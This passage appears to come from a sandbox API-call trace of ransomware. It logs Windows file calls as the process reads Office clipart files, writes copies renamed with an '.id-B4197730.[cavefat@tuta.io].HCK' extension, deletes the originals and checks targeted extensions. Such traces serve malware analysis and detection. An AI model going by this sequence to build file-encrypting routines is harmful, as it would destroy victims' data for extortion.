lpFileSize=0x35dff14*=8136) returned 1 [0238.406] CloseHandle (hObject=0x544) returned 1 [0238.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 0x220 [0238.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.406] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.406] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.407] GetLastError () returned 0x0 [0238.407] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1fc8, lpOverlapped=0x0) returned 1 [0238.409] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1fd0, lpOverlapped=0x0) returned 1 [0238.409] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.410] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0238.410] SetEndOfFile (hFile=0x4d4) returned 1 [0238.410] CloseHandle (hObject=0x4d4) returned 1 [0238.410] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.777] SetEndOfFile (hFile=0x544) returned 1 [0238.789] CloseHandle (hObject=0x544) returned 1 [0238.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0239.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.028] lstrlenW (lpString=".doc") returned 4 [0239.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.028] lstrlenW (lpString=".docx") returned 5 [0239.028] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.028] lstrlenW (lpString=".pdf") returned 4 [0239.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.028] lstrlenW (lpString=".xls") returned 4 [0239.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.028] lstrlenW (lpString=".xlsx") returned 5 [0239.028] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.028] lstrlenW (lpString=".ppt") returned 4 [0239.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.028] lstrlenW (lpString=".zip") returned 4 [0239.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.028] lstrlenW (lpString=".rar") returned 4 [0239.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString=".bz2") returned 4 [0239.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString=".7z") returned 3 [0239.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.029] lstrlenW (lpString=".dbf") returned 4 [0239.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.029] lstrlenW (lpString=".1cd") returned 4 [0239.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.029] lstrlenW (lpString=".jpg") returned 4 [0239.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.029] lstrlenW (lpString=".doc") returned 4 [0239.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString=".docx") returned 5 [0239.029] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.029] lstrlenW (lpString=".pdf") returned 4 [0239.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString=".xls") returned 4 [0239.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.029] lstrlenW (lpString=".xlsx") returned 5 [0239.029] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.029] lstrlenW (lpString=".ppt") returned 4 [0239.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.029] lstrlenW (lpString=".zip") returned 4 [0239.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.029] lstrlenW (lpString=".rar") returned 4 [0239.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString=".bz2") returned 4 [0239.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.029] lstrlenW (lpString=".7z") returned 3 [0239.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.030] lstrlenW (lpString=".dbf") returned 4 [0239.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.030] lstrlenW (lpString=".1cd") returned 4 [0239.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0239.030] lstrlenW (lpString=".jpg") returned 4 [0239.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.030] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.030] lstrlenW (lpString="J0153307.WMF") returned 12 [0239.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.031] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=15448) returned 1 [0239.031] CloseHandle (hObject=0x3c4) returned 1 [0239.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 0x220 [0239.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.032] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.032] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.032] GetLastError () returned 0x0 [0239.033] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3c58, lpOverlapped=0x0) returned 1 [0239.035] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3c60, lpOverlapped=0x0) returned 1 [0239.036] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0239.036] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0239.037] SetEndOfFile (hFile=0x568) returned 1 [0239.037] CloseHandle (hObject=0x568) returned 1 [0239.037] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.037] SetEndOfFile (hFile=0x3c4) returned 1 [0239.039] CloseHandle (hObject=0x3c4) returned 1 [0239.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 1 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString=".doc") returned 4 [0239.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString=".docx") returned 5 [0239.041] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.041] lstrlenW (lpString=".pdf") returned 4 [0239.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString=".xls") returned 4 [0239.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.041] lstrlenW (lpString=".xlsx") returned 5 [0239.041] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.041] lstrlenW (lpString=".ppt") returned 4 [0239.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString=".zip") returned 4 [0239.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.041] lstrlenW (lpString=".rar") returned 4 [0239.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString=".bz2") returned 4 [0239.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString=".7z") returned 3 [0239.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString=".dbf") returned 4 [0239.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString=".1cd") returned 4 [0239.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString=".jpg") returned 4 [0239.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.041] lstrlenW (lpString=".doc") returned 4 [0239.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.042] lstrlenW (lpString=".docx") returned 5 [0239.042] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.042] lstrlenW (lpString=".pdf") returned 4 [0239.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.042] lstrlenW (lpString=".xls") returned 4 [0239.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.042] lstrlenW (lpString=".xlsx") returned 5 [0239.042] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.042] lstrlenW (lpString=".ppt") returned 4 [0239.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.042] lstrlenW (lpString=".zip") returned 4 [0239.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.042] lstrlenW (lpString=".rar") returned 4 [0239.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.042] lstrlenW (lpString=".bz2") returned 4 [0239.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.042] lstrlenW (lpString=".7z") returned 3 [0239.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.042] lstrlenW (lpString=".dbf") returned 4 [0239.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.042] lstrlenW (lpString=".1cd") returned 4 [0239.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0239.042] lstrlenW (lpString=".jpg") returned 4 [0239.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.042] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.042] lstrlenW (lpString="J0153313.WMF") returned 12 [0239.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.044] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=16952) returned 1 [0239.044] CloseHandle (hObject=0x3c4) returned 1 [0239.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 0x220 [0239.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.045] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.045] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.046] GetLastError () returned 0x0 [0239.046] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x4238, lpOverlapped=0x0) returned 1 [0239.047] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x4240, lpOverlapped=0x0) returned 1 [0239.048] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0239.048] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0239.048] SetEndOfFile (hFile=0x568) returned 1 [0239.049] CloseHandle (hObject=0x568) returned 1 [0239.049] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.049] SetEndOfFile (hFile=0x3c4) returned 1 [0239.051] CloseHandle (hObject=0x3c4) returned 1 [0239.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0239.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.053] lstrlenW (lpString=".doc") returned 4 [0239.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString=".docx") returned 5 [0239.053] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0239.053] lstrlenW (lpString=".pdf") returned 4 [0239.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString=".xls") returned 4 [0239.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.053] lstrlenW (lpString=".xlsx") returned 5 [0239.053] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0239.053] lstrlenW (lpString=".ppt") returned 4 [0239.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.053] lstrlenW (lpString=".zip") returned 4 [0239.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.053] lstrlenW (lpString=".rar") returned 4 [0239.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString=".bz2") returned 4 [0239.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString=".7z") returned 3 [0239.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.053] lstrlenW (lpString=".dbf") returned 4 [0239.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.053] lstrlenW (lpString=".1cd") returned 4 [0239.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.053] lstrlenW (lpString=".jpg") returned 4 [0239.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.053] lstrlenW (lpString=".doc") returned 4 [0239.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.053] lstrlenW (lpString=".docx") returned 5 [0239.053] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0239.053] lstrlenW (lpString=".pdf") returned 4 [0239.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.054] lstrlenW (lpString=".xls") returned 4 [0239.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.054] lstrlenW (lpString=".xlsx") returned 5 [0239.054] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0239.054] lstrlenW (lpString=".ppt") returned 4 [0239.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.054] lstrlenW (lpString=".zip") returned 4 [0239.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.054] lstrlenW (lpString=".rar") returned 4 [0239.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.054] lstrlenW (lpString=".bz2") returned 4 [0239.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.054] lstrlenW (lpString=".7z") returned 3 [0239.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.054] lstrlenW (lpString=".dbf") returned 4 [0239.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.054] lstrlenW (lpString=".1cd") returned 4 [0239.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0239.054] lstrlenW (lpString=".jpg") returned 4 [0239.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.054] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.054] lstrlenW (lpString="J0153398.WMF") returned 12 [0239.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.055] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=17508) returned 1 [0239.055] CloseHandle (hObject=0x3c4) returned 1 [0239.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 0x220 [0239.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 